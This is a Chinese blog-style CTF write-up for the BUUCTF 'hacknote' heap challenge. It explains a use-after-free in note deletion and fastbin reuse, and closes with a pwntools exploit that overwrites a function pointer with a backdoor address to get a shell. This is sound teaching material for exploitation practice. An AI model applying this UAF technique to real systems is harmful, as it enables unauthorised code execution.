前言:
笔者是一个pwn的rookie dog有不对的地方请师傅指正呀
我觉得我现在uaf应该还是比较详细的hhh
我也会不定时写一些自己的刷题记录和学习记录,欢迎关注和探讨hhh
这是buuctf上的一道很经典的uaf的题目,正好刚学想要来做一下,和ctfviki上面差不多。
一、checksec一下
二、丢进ida
1)main函数
菜单函数(menu)已经帮我们总结了这些函数的意思,我们会在下面展开看这些函数
补充知识点1:
ida的小技巧(快捷键)
我们可以用注释键(也就是带/?那个)在ida那一行写注释
我们可以讲menu函数中的内容以注释的形式展示在旁边,便于阅读
同时像g可以跳转,上方颜色条可以快速定位等等,详情可见这位师傅归纳的博客
后面的我也还不太会用哈哈哈
2)add_note()
我们看这种堆体,可以试试先看这里——malloc的地方
1.红色箭头
count计数,最多有5个结点(note)
2.黄色箭头
程序会先申请一个0x8大小的空间,这里面分为两个部分(可以理解为两个指针)
一个指针进行函数跳转,输出real content的内容(这个看青色箭头)
一个指针指向real_content(这个看蓝色箭头)
3.青色箭头
使其可以输出real_content
4.粉色箭头
输入real content的空间
5.蓝色箭头
指向real_content
总结一下这个函数:
add_note为了构成这个结构
注意:这里的箭头只表示方向,不表示实际的物理地址
然后看一下我的exp调试,我add中buf的大小为0x30
2)dele函数
补充知识点2:
aoti()函数使把字符串型转化为整型
出现漏洞:
我们看红色箭头部分,我们只删除空间内,没有把指针至NULL,出现UAF漏洞
3)print_note
这个没什么好讲的啦,就是输出,调用了那个put
可能是我的ida问题,显示的怪难受的,所以从wiki上找了一份一样的,就是可能变量有一点点的小区别,相信大家还是可以看懂的!
4)magic函数
唔,白给的后门函数
三、分析思路】
请结合wp一起看呀
1)总体思路
这个给了后门函数的返回地址,并且会有put函数的跳转,如果我们可以覆写note中put位置为后门函数的返回地址,在实现print_note时就可以跳转到后门函数,从而就可以实现UAF的利用。
2)fast bins的LIFO以及chunk分配
补充知识点3:
fastbins的LIFO,最后进入bins(后free也就时后dele)的最先被取用
我们可以申请一个大小也为0x8的chunk,这样我们可以获得一个与上文一样的chunk,这样我们就可以改写put的位置(见补充知识点4)
补充知识点4:
操作系统会先从bins(这里的大小是fast bins)里面找相同大小的chunk,然后返回指针,指针指向的区域就是用户可写区域。
我们可以对put进行覆写(改为后门函数),在print里面进行调用
3)思路总结
综上我们需要开辟一个任意大小的空间(主要是为了add_note里面自己开辟的那0x8的位置)然后将其free掉,利用UAF漏洞
下面附带ctfviki的思路
这里的与所在bin不一样就是和0x8不一样,不然的话real_content会被分配,从而无法修改put。
我用我自己的语言描述一遍
STEP1
我们先申请了node 0和node 1,add函数会分别申请(申请两次)一个0x8和0x30
STEP3
我们删除了两个结点,它们分别进入fastbins中
STEP3
我们重新申请一个0x8大小的空间(add_note函数),这时候对管理器会去fastbisn中找两个0x10(还有两个控制字段)
堆管理器会先给我们node1的空间(这是add函数的第一个0x8),我们可以向一的content里写东西
注意,这里向1写东西实际上就是node 0的real content的部分实际写入
然后我们实际申请的0x8(也就是buf获得)就是node 0,由于real content的位置被写入了magic函数的地址
当我们执行print_note函数的时候,以为调用的还是note0原本的put(可实际上换作了magic函数)
这里理解的难点就是,我们add_note函数的时候给的是,node 0和node1 大小为0x10的空间
四、wp
from pwn import *
#r=remote('node4.buuoj.cn',25109)
r=process('./hacknote')
def add(size,content):
r.sendlineafter('choice :','1')
r.sendlineafter('Note size :',str(size))
r.sendlineafter('Content :',content)
def delete(idx):
r.sendlineafter('choice :','2')
r.sendlineafter('Index :',str(idx))
def printf(idx):
r.sendlineafter('choice :','3')
r.sendlineafter('Index :',str(idx))
shell_addr=0x8048945
add(48,'aaaa')#0
add(48,'bbbb')#1
add(48,'cccc')#2
gdb.attach(r)
#pause()
delete(0)
delete(1)
pause()
add(8,p32(shell_addr))
#pause()
printf(0)
r.interactive()
附带摘录的博客链接